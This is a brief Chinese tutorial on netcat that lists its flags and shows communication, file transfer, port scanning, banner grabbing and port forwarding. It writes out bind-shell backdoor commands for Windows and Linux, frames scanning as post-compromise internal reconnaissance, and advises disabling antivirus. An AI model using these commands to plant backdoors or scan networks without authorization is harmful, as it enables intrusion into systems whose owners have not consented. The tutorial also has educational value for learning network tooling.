nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 网络中的瑞士军刀
1.netcat常用参数
-l:设置netcat处于监听状态等待连接
-L:设置netcat处于监听状态等待连接,当客户端断开,服务端依旧回到等待状态
-p:本地监听端口号
-v:显示端口信息,如果使用-vv的话,则显示更加详细的端口信息
-e:执行某个程序,如cmd.exe
-n:只识别IP地址,不对目标进行DNS解析
-u:使用UDP模式(nc默认使用tcp连接)
-z:zero I/O模式,专用端口扫描。表示对目标IP发送的数据表中不包含payload,加快扫描速度
-w1:超时设置1秒
-d:脱离命令窗口,在后台运行,常用于后门的建立过程
-G:gateway 设置网关,用于内网突破限制
-g:num,路由调数
-o :file,设置传输16进制的数据
-s:addr,设置netcat源地址,隐藏自己的ip地址
-t:恢复telnet的请求数据包
-r:设置netcat随机化的端口号
2.基础使用
2.1 简单通信
一般通信:
创建服务端:nc -l -p 4444
创建客户端:nc 192.168.59.138 4444
此时并不能对服务端进行命令执行
返回shell的通信:
服务端:nc -l -p 4444 -e cmd.exe
客户器端可以对服务端执行cmd的命令
注:我是在同一台电脑里进行nc实验的,客户端的ip应填服务器的ip。
2.2 文件传输
创建服务端:nc -l -p 4444 > outfile
服务端接受一个文件并重定向到 outfile
创建客户端:nc 192.168.59.138 4444 < infile
实现了客户端向服务器端传输文件
3.内网探测
3.1 端口扫描
获得目标的权限之后,目标没有途径可以去进行内网探测,此时可以用nc对内网ip和端口进行扫描
-nc -v -n -z -w1 192.168.59.135 1-65535
3.2 Banner抓取
-echo “ ” | -nc -v -n -z -w1 192.168.59.135 1-65535
banner 信息来表示欢迎语,其中会包含一些敏感信息,所以获取 banner 也属于信息搜集的范畴。
4.建立后门
原理:netcat一切数据通过标准输入/输出流实现的,所以可以利用netcat的命令进行后门的简历,并传输结果信息。
4.1 对windows建立后门
-nc -l -p 4444 -e cmd.exe
4.2 对linux建立后门
-nc -l -p 4444 -e /bin/bash
5.netcat连接转发(端口转发)
突破某些特殊情况下的连接限制
- echo nc [target][IP] > delay.bat
delay.bat nc ip port
-nc -l -p [localport] -e delay.bat
6.windows下载
windows下选择netcat 1.11,保存即可。关闭杀毒软件或加入白名单,将nc.exe拖入cmd中即可运行netcat。